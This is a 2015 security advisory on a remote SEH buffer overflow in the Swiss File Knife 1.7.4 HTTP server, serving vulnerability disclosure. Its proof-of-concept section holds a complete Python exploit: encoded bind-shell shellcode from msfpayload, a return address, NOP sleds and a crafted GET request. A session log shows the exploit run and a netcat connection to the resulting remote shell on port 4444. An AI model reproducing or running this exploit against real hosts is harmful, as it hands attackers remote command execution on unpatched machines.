Document Title:
===============
Swiss File Knife v1.7.4 HTTP - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1441


Release Date:
=============
2015-02-27


Vulnerability Laboratory ID (VL-ID):
====================================
1441


Common Vulnerability Scoring System:
====================================
8.4


Product & Service Introduction:
===============================
Swiss File Knife - A Command Line Tools Collection that combines many functions in a single, portable executable that belongs onto 
every USB stick. Search and convert text files, instant simple FTP/HTTP server, find duplicate files, compare folders, treesize, 
run own commands on all files of a folder - it`s all within a single tool. 

(Copy of the Vendor Homepage: http://stahlworks.com/dev/swiss-file-knife.html )


Abstract Advisory Information:
==============================
An indepdent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official Swiss File Knife 1.7.4  HTTP Server software.


Vulnerability Disclosure Timeline:
==================================
2015-02-18: Vendor Fix/Patch (Developer Team)
2015-02-27: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Stahlworks
Product: Swiss File Knife - HTTP Server 1.7.4 (Windows, MacOS & Linux)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered by an indepdent researcher in the official Swiss File Knife 1.7.4  HTTP Server software.
The vulnerability allows local or remote attacker to gain higher system or access privileges by exploitation of a classic buffer overflow vulnerability.

Payload overwrites SEH with address of pop pop ret sequence, which redirects execution flow to the attacker buffer started with fixed string “unexpected: file 
left open for write: <attacker payload>”. First two bytes “un” - 75 6E in hex are an opcode for JNZ SHORT sfk174.005A7AC0, which successfully jumps 
over the fixed text right into attacker controlled buffer filled with nops and finally shellcode.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.4. 


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploit Code (*.py)

!/usr/bin/env python
 Swiss File Knife 1.7.4 (rev 1) Buffer Overflow
 Author: lucyoa <lucyoa[at]reverse-shell.com

 SFK's http server launched using following method:
 C:\fuzz\sfksfk174.exe httpserv
 SFK Instant HTTP Server. For help, type "sfk httpserv -help".
 Waiting on port 80. Try http://192.168.56.111/ in your browser.

 Exploitation:
 lucyoa@sage~/exploits/sfk174$ ./exploit.py 192.168.56.111 80
 lucyoa@sage~/exploits/sfk174$ nc 192.168.56.111 4444
 Microsoft Windows XP [Version 5.1.2600]
 (C) Copyright 1985-2001 Microsoft Corp.

 C:\fuzz\sfkipconfig
 ipconfig

 Windows IP Configuration

 Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.56.111
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

 C:\fuzz\sfk

import sys
import socket

def usage(s):
    print "%s <ip<port" % s
    exit(0)

def main():
    if len(sys.argv) != 3:
        usage(sys.argv[0])

 msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -t c
 [*] x86/alpha_mixed succeeded with size 744 (iteration=1)
    sc = (
"\x89\xe0\xd9\xc5\xd9\x70\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x49\x6c\x78\x68\x4d\x59\x63\x30\x73\x30\x67\x70\x55\x30\x4b"
"\x39\x79\x75\x35\x61\x59\x42\x42\x44\x4e\x6b\x63\x62\x56\x50"
"\x6c\x4b\x71\x42\x46\x6c\x4e\x6b\x63\x62\x64\x54\x4e\x6b\x34"
"\x32\x66\x48\x36\x6f\x38\x37\x50\x4a\x57\x56\x70\x31\x39\x6f"
"\x44\x71\x39\x50\x4c\x6c\x67\x4c\x45\x31\x53\x4c\x63\x32\x46"
"\x4c\x31\x30\x5a\x61\x6a\x6f\x76\x6d\x66\x61\x39\x57\x6d\x32"
"\x6c\x30\x46\x32\x63\x67\x4e\x6b\x43\x62\x46\x70\x6c\x4b\x67"
"\x32\x45\x6c\x77\x71\x4a\x70\x6e\x6b\x43\x70\x53\x48\x4b\x35"
"\x59\x50\x42\x54\x50\x4a\x63\x31\x78\x50\x72\x70\x4c\x4b\x67"
"\x38\x54\x58\x6c\x4b\x73\x68\x31\x30\x43\x31\x38\x53\x49\x73"
"\x65\x6c\x77\x39\x4e\x6b\x34\x74\x4c\x4b\x67\x71\x49\x46\x70"
"\x31\x59\x6f\x35\x61\x39\x50\x4c\x6c\x5a\x61\x7a\x6f\x44\x4d"
"\x35\x51\x4a\x67\x47\x48\x4b\x50\x63\x45\x78\x74\x46\x63\x31"
"\x6d\x4b\x48\x67\x4b\x63\x4d\x34\x64\x62\x55\x49\x72\x72\x78"
"\x6e\x6b\x70\x58\x71\x34\x67\x71\x79\x43\x61\x76\x6e\x6b\x44"
"\x4c\x50\x4b\x4c\x4b\x42\x78\x67\x6c\x63\x31\x68\x53\x6c\x4b"
"\x73\x34\x6e\x6b\x57\x71\x38\x50\x6d\x59\x70\x44\x37\x54\x57"
"\x54\x61\x4b\x43\x6b\x63\x51\x32\x79\x32\x7a\x32\x71\x59\x6f"
"\x6d\x30\x72\x78\x71\x4f\x32\x7a\x6c\x4b\x44\x52\x7a\x4b\x4d"
"\x56\x43\x6d\x53\x58\x75\x63\x70\x32\x67\x70\x33\x30\x63\x58"
"\x72\x57\x72\x53\x56\x52\x73\x6f\x30\x54\x43\x58\x30\x4c\x54"
"\x37\x45\x76\x56\x67\x59\x6f\x4a\x75\x4f\x48\x6e\x70\x76\x61"
"\x77\x70\x63\x30\x77\x59\x5a\x64\x33\x64\x62\x70\x75\x38\x65"
"\x79\x6f\x70\x30\x6b\x43\x30\x6b\x4f\x78\x55\x30\x50\x52\x70"
"\x72\x70\x42\x70\x31\x50\x72\x70\x57\x30\x30\x50\x62\x48\x38"
"\x6a\x66\x6f\x6b\x6f\x4b\x50\x6b\x4f\x49\x45\x4b\x39\x69\x57"
"\x55\x61\x49\x4b\x32\x73\x65\x38\x43\x32\x53\x30\x62\x31\x43"
"\x6c\x4d\x59\x59\x76\x51\x7a\x44\x50\x46\x36\x50\x57\x70\x68"
"\x5a\x62\x4b\x6b\x66\x57\x43\x57\x49\x6f\x58\x55\x62\x73\x31"
"\x47\x35\x38\x4e\x57\x4d\x39\x66\x58\x39\x6f\x4b\x4f\x59\x45"
"\x36\x33\x73\x63\x36\x37\x31\x78\x30\x74\x68\x6c\x35\x6b\x69"
"\x71\x39\x6f\x4a\x75\x62\x77\x6c\x49\x68\x47\x71\x78\x44\x35"
"\x30\x6e\x32\x6d\x71\x71\x39\x6f\x49\x45\x43\x58\x71\x73\x72"
"\x4d\x50\x64\x53\x30\x6e\x69\x4d\x33\x36\x37\x63\x67\x33\x67"
"\x46\x51\x4b\x46\x30\x6a\x55\x42\x62\x79\x50\x56\x6d\x32\x6b"
"\x4d\x45\x36\x7a\x67\x70\x44\x66\x44\x65\x6c\x65\x51\x65\x51"
"\x6c\x4d\x72\x64\x77\x54\x76\x70\x78\x46\x55\x50\x37\x34\x66"
"\x34\x56\x30\x46\x36\x53\x66\x33\x66\x43\x76\x51\x46\x32\x6e"
"\x56\x36\x63\x66\x50\x53\x71\x46\x61\x78\x70\x79\x58\x4c\x55"
"\x6f\x4d\x56\x69\x6f\x4b\x65\x4f\x79\x4b\x50\x70\x4e\x70\x56"
"\x37\x36\x69\x6f\x50\x30\x61\x78\x34\x48\x4c\x47\x35\x4d\x61"
"\x70\x59\x6f\x5a\x75\x6f\x4b\x4a\x50\x4f\x45\x49\x32\x62\x76"
"\x45\x38\x6e\x46\x6f\x65\x6f\x4d\x4d\x4d\x39\x6f\x7a\x75\x77"
"\x4c\x65\x56\x63\x4c\x76\x6a\x4f\x70\x4b\x4b\x79\x70\x44\x35"
"\x64\x45\x6f\x4b\x72\x67\x46\x73\x73\x42\x50\x6f\x72\x4a\x47"
"\x70\x32\x73\x49\x6f\x38\x55\x41\x41")

     0x004f1b8d from sfk174.exe
    ret = "\x8d\x1b\x4f\x00"

    nop = "\x90"*(128807 - len(sc))
    nop2 = "\x90"*121068

    buff = nop + sc + nop2 + ret
    payload = "GET /"+buff+" HTTP/1.1\r\n\r\n"

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1], int(sys.argv[2])))
    s.send(payload)
    s.close()

if __name__ == "__main__":
    main()


Solution - Fix & Patch:
=======================
2015-02-18: Vendor Fix/Patch (Developer Team)

Update: http://sourceforge.net/projects/swissfileknife/files/1-swissfileknife/1.7.4/


Security Risk:
==============
The security risk of the local and remote buffer overflow software vulnerability is estimated as high. (CVSS 8.4)


Credits & Authors:
==================
lucyoa - [lucyoa[at]reverse-shell.com]


Disclaimer & Information:
=========================
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